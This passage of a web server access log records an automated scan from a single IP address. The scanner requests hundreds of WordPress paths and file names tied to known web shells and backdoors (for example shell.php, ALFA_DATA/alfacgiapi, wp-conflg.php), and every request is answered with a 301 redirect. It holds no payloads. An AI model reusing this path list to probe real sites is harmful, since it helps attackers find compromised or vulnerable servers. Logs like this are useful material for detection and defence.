[08/Apr/2026:03:44:45 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:50 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:55 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:00 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:01 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:01 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:02 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:03 +0300] "GET /wp-content/themes/news-portal/sitebar.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:08 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:13 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:18 +0300] "GET /wp-content/themes/fukasawa/inc/classes/403.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:23 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:24 +0300] "GET /wp-admin/css/colors/PHPMailer/s HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:29 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:34 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:39 +0300] "GET /comments/feed/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:44 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:49 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:54 +0300] "GET /wp-content/updraft/plugins-old/updraftplus/vendor/team-updraft/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:45:59 +0300] "GET /system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:04 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:08 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:09 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:14 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:19 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:24 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:29 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:34 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:34 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:39 +0300] "GET /wp-includes/blocks/post-comments-form/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:40 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:41 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:46 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:46 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:51 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:46:56 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:01 +0300] "GET /wp-wlx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:06 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:11 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:12 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:17 +0300] "GET /wp-content/test.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:22 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:22 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:23 +0300] "GET /private/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:28 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:33 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:34 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:34 +0300] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:39 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:44 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:45 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:50 +0300] "GET /wa/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:55 +0300] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:55 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:47:56 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:01 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:02 +0300] "GET /wp-content/wp-activate.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:07 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:07 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:08 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:09 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:10 +0300] "GET /wp-admin/includes/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:15 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:15 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:16 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:17 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:22 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:22 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:23 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:24 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:24 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:29 +0300] "GET /wp-includes/sodium_compat/src/Core/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:30 +0300] "GET /wp-includes/js/mediaelement/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:31 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:31 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:36 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:41 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:46 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:51 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:48:56 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:01 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:02 +0300] "GET /wp-includes/js/dist/script-modules/block-library/file/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:03 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:08 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:13 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:18 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:22 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:28 +0300] "GET /upload/zczv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:33 +0300] "GET /wp-includes/blocks/comment-date/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:33 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:38 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:39 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:39 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:40 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:41 +0300] "GET /wp-includes/css/dist/edit-post/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:42 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:42 +0300] "GET /wp-includes/blocks/buttons/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:43 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:48 +0300] "GET /wordpress/wp-admin/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:53 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:54 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:59 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:49:59 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:04 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:09 +0300] "GET /wp-admin/js/widgets/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:14 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:14 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:19 +0300] "GET /wp-includes/blocks/image/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:20 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:25 +0300] "GET /wp-includes/header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:30 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:31 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:31 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:36 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:41 +0300] "GET /wp-admin/maint/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:46 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:51 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:56 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:50:57 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:02 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:07 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:08 +0300] "GET /wp-content/themes/twentytwentyone/template-parts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:08 +0300] "GET /wp-content/buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:13 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:14 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:15 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:20 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:25 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:30 +0300] "GET /wp-includes/blocks/comment-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:30 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:31 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:36 +0300] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:41 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:46 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:51 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:54 +0300] "GET /wp-includes/blocks/column/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:55 +0300] "GET /wp-includes/blocks/video/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:56 +0300] "GET /wp-includes/blocks/pattern/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:51:56 +0300] "GET /wp-content/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:01 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:06 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:11 +0300] "GET /wp-content/themes/wp-blog.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:16 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:21 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:26 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:31 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:32 +0300] "GET /wp-includes/blocks/post-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:33 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:38 +0300] "GET /wp-includes/theme-compat/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:43 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:47 +0300] "GET /wp-content/themes/twentytwenty/assets/fonts/inter/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:51 +0300] "GET /wp-includes/assets/script-loader-react-refresh.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:52:56 +0300] "GET /wp-includes/js/tinymce/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:00 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:05 +0300] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:06 +0300] "GET /wp-includes/blocks/comments-pagination-next/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:07 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:12 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:12 +0300] "GET /wp-includes/blocks/nextpage/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:13 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:14 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:19 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:19 +0300] "GET /wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:20 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:25 +0300] "GET /wp-includes/blocks/separator/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:26 +0300] "GET /wp-includes/blocks/post-template/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:26 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:27 +0300] "GET /wp-content/uploads/elementor/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:28 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:33 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:34 +0300] "GET /wp-includes/assets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:39 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:39 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:43 +0300] "GET /wp-content/uploads/upload.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:46 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:51 +0300] "GET /wp-content/uploads/wpforms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:52 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:57 +0300] "GET /wp-includes/blocks/navigation-submenu/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:53:58 +0300] "GET /wp-content/themes/neve/assets/apps/dashboard/build/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:03 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:04 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:04 +0300] "GET /wp-includes/blocks/home-link/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:05 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:10 +0300] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:11 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:16 +0300] "GET /wp-includes/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:21 +0300] "GET /wp-includes/SimplePie/src/Content/Type/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:21 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:26 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:26 +0300] "GET /wp-includes/css/dist/commands/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:27 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:28 +0300] "GET /wp-includes/panel.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:33 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:33 +0300] "GET /wp-includes/blocks/table/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:34 +0300] "GET /wp-includes/blocks/search/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:35 +0300] "GET /wp-includes/html-api/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:40 +0300] "GET /reception1/includes/tcpdf/examples/config/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:54:45 +0300] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 